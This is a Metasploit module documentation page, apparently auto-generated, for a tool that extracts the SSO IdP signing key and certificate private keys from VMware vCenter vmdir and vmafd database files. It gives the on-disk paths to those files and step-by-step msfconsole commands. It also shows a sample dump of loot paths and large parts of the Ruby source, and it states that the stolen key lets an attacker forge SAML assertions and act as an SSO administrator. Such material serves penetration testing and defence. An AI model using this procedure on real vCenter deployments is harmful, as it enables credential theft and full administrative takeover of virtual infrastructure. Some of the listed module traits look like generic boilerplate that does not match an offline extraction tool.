VMware vCenter Extract Secrets from vmdir / vmafd DB File - Metasploit
This page contains detailed information about how to use the auxiliary/admin/vmware/vcenter_offline_mdb_extract metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VMware vCenter Extract Secrets from vmdir / vmafd DB File
Module: auxiliary/admin/vmware/vcenter_offline_mdb_extract
Source code: modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb
Disclosure date: 2022-05-10
Last modification time: 2022-05-26 11:52:56 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Grab certificates from the vCenter server vmdird and vmafd database files and adds them to loot. The vmdird MDB database file can be found on the live appliance under the path /storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path /storage/db/vmware-vmafd/afd.db. The vmdir database contains the IdP signing credential, and vmafd contains the vCenter certificate store. This module will accept either file from a live vCenter appliance, or from a vCenter appliance backup archive; either or both files can be supplied.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
msf auxiliary(vcenter_offline_mdb_extract) > show targets
... a list of targets ...
msf auxiliary(vcenter_offline_mdb_extract) > set TARGET target-id
msf auxiliary(vcenter_offline_mdb_extract) > show options
... show and set options ...
msf auxiliary(vcenter_offline_mdb_extract) > exploit
Knowledge Base
Grab certificates from the vCenter server vmdird or vmafd database files and adds them to loot. This module will accept files from a live vCenter appliance or from a vCenter appliance backup archive; either or both files can be supplied to the module depending on the situation. The module will extract the vCenter SSO IdP signing credential from the vmdir database, which can be used to create forged SAML assertions and access the SSO directory as an administrator. The vmafd service contains the vCenter certificate store which from which the module will attempt to extract all vmafd certificates that also have a corresponding private key. Portions of this module are based on information published by Zach Hanley at Horizon3:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
Vulnerable Application
This module is tested against the vCenter appliance but will probably work against Windows instances. It has been tested against files from vCenter appliance versions 6.5, 6.7, and 7.0. The module will work with files retrieved from a live vCenter system as well as files extracted from an unencrypted vCenter backup archive.
Verification Steps
You must possess the vmdir and/or vmafd database files from vCenter in order to use this module. The
files must be local to the system invoking the module. Where possible, you should provide the
VC_IP
option to tag relevant loot entries with the IPv4 address of the originating system. If no
value is provided for VC_IP
the module defaults to assigning the loopback IP 127.0.0.1
.
- Acquire the vmdir and/or vmafd database files from vCenter (see below)
- Start msfconsole
- Do:
use auxiliary/admin/vmware/vcenter_offline_mdb_extract
- Do:
set vmdir_mdb <path to data.mdb>
if you are extracting from the vmdir database - Do:
set vmafd_db <path to afd.db>
if you are extracting from the vmafd database - Do:
set vc_ip <vCenter IPv4>
to attach the target vCenter IPv4 address to loot entries - Do:
dump
Options
VMDIR_MDB
Path to the vmdird MDB database file on the local system. Example: /tmp/data.mdb
VMAFD_DB
Path to the vmafd DB file on the local system. Example: /tmp/afd.db
VC_IP
Optional parameter to set the IPv4 address associated with loot entries made by the module.
Scenarios
Acquire Database Files
This module targets the internal databases of vCenter vmdir (OpenLDAP Memory-Mapped Database) and vmafd (SQLite3). On a live vCenter appliance, these files can be downloaded with root access from the following locations:
vmdir: /storage/db/vmware-vmdir/data.mdb
vmafd: /storage/db/vmware-vmafd/afd.db
If you are extracting from a backup file, target files are available in the following archives:
vmdir: lotus_backup.tar.gz
vmafd: config_files.tar.gz
Running the Module
Example run against database files extracted from vCenter appliance version 7.0 Update 3d:
msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmdir_mdb /tmp/data.mdb
vmdir_mdb => /tmp/data.mdb
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vmafd_db /tmp/afd.db
vmafd_db => /tmp/afd.db
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > set vc_ip 192.168.100.70
vc_ip => 192.168.100.70
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > dump
[*] Extracting vmwSTSTenantCredential from /tmp/data.mdb ...
[+] SSO_STS_IDP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_571080.key
[+] SSO_STS_IDP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_idp_564729.pem
[+] VMCA_ROOT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_vmca_721819.pem
[*] Extracting vSphere platform certificates from /tmp/afd.db ...
[+] __MACHINE_CERT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_869237.key
[+] __MACHINE_CERT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70___MACHINE_CERT_240839.pem
[+] DATA-ENCIPHERMENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_350586.key
[+] DATA-ENCIPHERMENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_DATAENCIPHERMEN_106169.pem
[+] HVC key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_825963.key
[+] HVC cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_HVC_399928.pem
[+] MACHINE key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_995574.key
[+] MACHINE cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_MACHINE_156797.pem
[+] SMS_SELF_SIGNED key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_169524.key
[+] SMS_SELF_SIGNED cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_SMS_SELF_SIGNED_230704.pem
[+] VPXD key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_370336.key
[+] VPXD cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXD_300599.pem
[+] VPXD-EXTENSION key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_571196.key
[+] VPXD-EXTENSION cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VPXDEXTENSION_088742.pem
[+] VSPHERE-WEBCLIENT key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_060718.key
[+] VSPHERE-WEBCLIENT cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_VSPHEREWEBCLIEN_280013.pem
[+] WCP key: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_057402.key
[+] WCP cert: /home/cs137/.msf4/loot/20220512133836_default_192.168.100.70_WCP_909204.pem
[*] Auxiliary module execution completed
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) >
Go back to menu.
Msfconsole Usage
Here is how the admin/vmware/vcenter_offline_mdb_extract auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/vmware/vcenter_offline_mdb_extract
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show info
Name: VMware vCenter Extract Secrets from vmdir / vmafd DB File
Module: auxiliary/admin/vmware/vcenter_offline_mdb_extract
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2022-05-10
Provided by:
npm <[email protected]>
Module side effects:
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available actions:
Name Description
---- -----------
Dump Dump secrets from vCenter files
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
VC_IP no (Optional) IPv4 address to attach to loot
VMAFD_DB no Path to the vmafd afd.db file
VMDIR_MDB no Path to the vmdir data.mdb file
Description:
Grab certificates from the vCenter server vmdird and vmafd database
files and adds them to loot. The vmdird MDB database file can be
found on the live appliance under the path
/storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path
/storage/db/vmware-vmafd/afd.db. The vmdir database contains the IdP
signing credential, and vmafd contains the vCenter certificate
store. This module will accept either file from a live vCenter
appliance, or from a vCenter appliance backup archive; either or
both files can be supplied.
References:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
Module Options
This is a complete list of options available in the admin/vmware/vcenter_offline_mdb_extract auxiliary module:
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show options
Module options (auxiliary/admin/vmware/vcenter_offline_mdb_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
VC_IP no (Optional) IPv4 address to attach to loot
VMAFD_DB no Path to the vmafd afd.db file
VMDIR_MDB no Path to the vmdir data.mdb file
Auxiliary action:
Name Description
---- -----------
Dump Dump secrets from vCenter files
Advanced Options
Here is a complete list of advanced options supported by the admin/vmware/vcenter_offline_mdb_extract auxiliary module:
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show advanced
Module advanced options (auxiliary/admin/vmware/vcenter_offline_mdb_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
MDB_CHUNK_SIZE 4096 yes Block size to use when scanning MDB file
MDB_STARTING_OFFSET 0 yes Starting offset for MDB file binary scan
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/vmware/vcenter_offline_mdb_extract module can do:
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show actions
Auxiliary actions:
Name Description
---- -----------
Dump Dump secrets from vCenter files
Evasion Options
Here is the full list of possible evasion options supported by the admin/vmware/vcenter_offline_mdb_extract auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/vmware/vcenter_offline_mdb_extract) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)
- Empty Alias list returned from CertTable
- Could not extract CertTable Alias '<STORE_LABEL>'
- Could not extract <STORE_LABEL> private key
- Could not extract <STORE_LABEL> certificate
- Error opening SQLite3 database '<VMAFD_FILE>': <E.MESSAGE>
- Error calling SQLite3: <E.MESSAGE>
- Invalid vmdird database '<VMDIR_FILE>': unable to locate TenantCredential-1 in binary stream
- Unable to associate IdP certificate and private key
- Exception in <__METHOD__>: <E.MESSAGE>
- Malformed DER: byte length exceeds working buffer size
- Failure during extract of PKCS#1 RSA private key
- Failure during extract of x509v3 certificate
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)
Here is a relevant code snippet related to the "Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)" error message:
72: datastore['VMAFD_DB']
73: end
74:
75: def run
76: unless vmdir_file || vmafd_file
77: print_error('Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)')
78: return
79: end
80: if vmdir_file
81: print_status("Extracting vmwSTSTenantCredential from #{vmdir_file} ...")
82: extract_idp_cert
Empty Alias list returned from CertTable
Here is a relevant code snippet related to the "Empty Alias list returned from CertTable" error message:
89:
90: def extract_vmafd_certs
91: db = SQLite3::Database.open(vmafd_file)
92: db.results_as_hash = true
93: unless (vecs_entry_alias = db.execute('SELECT DISTINCT Alias FROM CertTable WHERE PrivateKey NOT NULL;'))
94: fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95: end
96: vecs_entry_alias.each do |vecs_alias|
97: store_label = vecs_alias['Alias'].upcase
98: unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99: fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")
Could not extract CertTable Alias '<STORE_LABEL>'
Here is a relevant code snippet related to the "Could not extract CertTable Alias '<STORE_LABEL>'" error message:
94: fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')
95: end
96: vecs_entry_alias.each do |vecs_alias|
97: store_label = vecs_alias['Alias'].upcase
98: unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)
99: fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")
100: end
101: priv_pem = res['PrivateKey'].encode('utf-8').delete("\000")
102: pub_pem = res['CertBlob'].encode('utf-8').delete("\000")
103: begin
104: key = OpenSSL::PKey::RSA.new(priv_pem)
Could not extract <STORE_LABEL> private key
Here is a relevant code snippet related to the "Could not extract <STORE_LABEL> private key" error message:
106: p = store_loot(store_label, 'PEM', loot_host, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
107: print_good("#{store_label} key: #{p}")
108: p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109: print_good("#{store_label} cert: #{p}")
110: rescue OpenSSL::PKey::PKeyError
111: print_error("Could not extract #{store_label} private key")
112: rescue OpenSSL::X509::CertificateError
113: print_error("Could not extract #{store_label} certificate")
114: end
115: end
116: rescue SQLite3::NotADatabaseException => e
Could not extract <STORE_LABEL> certificate
Here is a relevant code snippet related to the "Could not extract <STORE_LABEL> certificate" error message:
108: p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
109: print_good("#{store_label} cert: #{p}")
110: rescue OpenSSL::PKey::PKeyError
111: print_error("Could not extract #{store_label} private key")
112: rescue OpenSSL::X509::CertificateError
113: print_error("Could not extract #{store_label} certificate")
114: end
115: end
116: rescue SQLite3::NotADatabaseException => e
117: fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118: rescue SQLite3::SQLException => e
Error opening SQLite3 database '<VMAFD_FILE>': <E.MESSAGE>
Here is a relevant code snippet related to the "Error opening SQLite3 database '<VMAFD_FILE>': <E.MESSAGE>" error message:
112: rescue OpenSSL::X509::CertificateError
113: print_error("Could not extract #{store_label} certificate")
114: end
115: end
116: rescue SQLite3::NotADatabaseException => e
117: fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118: rescue SQLite3::SQLException => e
119: fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120: end
121:
122: def extract_idp_cert
Error calling SQLite3: <E.MESSAGE>
Here is a relevant code snippet related to the "Error calling SQLite3: <E.MESSAGE>" error message:
114: end
115: end
116: rescue SQLite3::NotADatabaseException => e
117: fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")
118: rescue SQLite3::SQLException => e
119: fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")
120: end
121:
122: def extract_idp_cert
123: sts_pem = nil
124: unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))
Invalid vmdird database '<VMDIR_FILE>': unable to locate TenantCredential-1 in binary stream
Here is a relevant code snippet related to the "Invalid vmdird database '<VMDIR_FILE>': unable to locate TenantCredential-1 in binary stream" error message:
120: end
121:
122: def extract_idp_cert
123: sts_pem = nil
124: unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))
125: fail_with(Msf::Exploit::Failure::NoTarget, "Invalid vmdird database '#{vmdir_file}': unable to locate TenantCredential-1 in binary stream")
126: end
127: idp_key = get_sts_key(bytes)
128: idp_key_pem = idp_key.to_pem.to_s
129: get_sts_pem(bytes).each do |stscert|
130: idp_cert_pem = stscert.to_pem.to_s
Unable to associate IdP certificate and private key
Here is a relevant code snippet related to the "Unable to associate IdP certificate and private key" error message:
139: p = store_loot('vmca', 'PEM', loot_host, idp_cert_pem, 'VMCA_ROOT.pem', 'vCenter VMCA root certificate')
140: print_good("VMCA_ROOT cert: #{p}")
141: end
142: end
143: unless sts_pem # We were unable to link a public and private key together
144: fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to associate IdP certificate and private key')
145: end
146: end
147:
148: def read_mdb_sts_block(file_name, chunk_size, offset)
149: bytes = nil
Exception in <__METHOD__>: <E.MESSAGE>
Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:
157: end
158: offset += chunk_size
159: end
160: bytes
161: rescue StandardError => e
162: fail_with(Msf::Exploit::Failure::Unknown, "Exception in #{__method__}: #{e.message}")
163: ensure
164: file.close
165: end
166:
167: def read_der(bytes)
Malformed DER: byte length exceeds working buffer size
Here is a relevant code snippet related to the "Malformed DER: byte length exceeds working buffer size" error message:
165: end
166:
167: def read_der(bytes)
168: der_len = (bytes[2..3].unpack('H*').first.to_i(16) + 4).to_i
169: unless der_len <= bytes.length - 1
170: fail_with(Msf::Exploit::Failure::Unknown, 'Malformed DER: byte length exceeds working buffer size')
171: end
172: bytes[0..der_len - 1]
173: end
174:
175: def get_sts_key(bytes)
Failure during extract of PKCS#1 RSA private key
Here is a relevant code snippet related to the "Failure during extract of PKCS#1 RSA private key" error message:
180: key_pem = "-----BEGIN PRIVATE KEY-----\n#{key_b64}\n-----END PRIVATE KEY-----"
181: vprint_status("key_pem:\n#{key_pem}")
182: OpenSSL::PKey::RSA.new(key_pem)
183: rescue OpenSSL::PKey::PKeyError
184: # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')
185: print_error('Failure during extract of PKCS#1 RSA private key')
186: end
187:
188: def get_sts_pem(bytes)
189: idp_certs = []
190: working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}3082/) / 2 # x509v3 magic bytes
Failure during extract of x509v3 certificate
Here is a relevant code snippet related to the "Failure during extract of x509v3 certificate" error message:
199: next_offset = working_offset + der_bytes.length + offset - 1
200: working_offset = next_offset
201: byte_len = bytes.length - working_offset
202: working_bytes = bytes[working_offset, byte_len]
203: end
204: idp_certs
205: rescue OpenSSL::X509::CertificateError
206: # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')
207: print_error('Failure during extract of x509v3 certificate')
208: end
209: end
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/vmware/vcenter_forge_saml_token
- auxiliary/admin/vmware/poweroff_vm
- auxiliary/admin/vmware/poweron_vm
- auxiliary/admin/vmware/tag_vm
- auxiliary/admin/vmware/terminate_esx_sessions
- post/linux/gather/vcenter_secrets_dump
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- auxiliary/gather/konica_minolta_pwd_extract
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/gather/xerox_pwd_extract
- auxiliary/scanner/printer/canon_iradv_pwd_extract
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/zyxel_admin_password_extractor
- auxiliary/gather/memcached_extractor
- auxiliary/gather/redis_extractor
- auxiliary/scanner/http/meteocontrol_weblog_extractadmin
- auxiliary/scanner/sap/sap_mgmt_con_extractusers
- exploit/windows/browser/facebook_extractiptc
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/windows/http/vmware_vcenter_chargeback_upload
- exploit/multi/http/microfocus_ucmdb_unauth_deser
Authors
npm[at]cesium137.io
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.